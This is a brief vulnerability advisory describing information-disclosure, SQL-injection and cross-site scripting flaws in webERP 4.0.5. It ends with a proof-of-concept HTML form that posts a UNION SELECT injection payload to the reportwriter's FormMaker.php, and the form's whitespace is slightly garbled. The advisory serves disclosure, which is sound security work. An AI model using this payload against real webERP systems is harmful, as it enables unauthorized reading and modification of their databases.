source: https://www.securityfocus.com/bid/50713/info
webERP is prone to information-disclosure, SQL-injection,and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker may exploit the information-disclosure issue to gain access to sensitive information that may lead to further attacks.
An attacker may exploit the SQL-injection issue to compromise the application, access or modify data,or exploit latent vulnerabilities in the underlying database.
An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
webERP 4.0.5is vulnerable; prior versions may also be affected.<form action="http://www.example.com/reportwriter/FormMaker.php" method="post"><inputtype="hidden" name="ReportID" value="1 union select version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20"><inputtype="hidden" name="FormID" value="[FormID]"/><inputtype="hidden" name="todo" value="Criteria Setup"/><inputtype="submit" value="submit"id="btn"></form>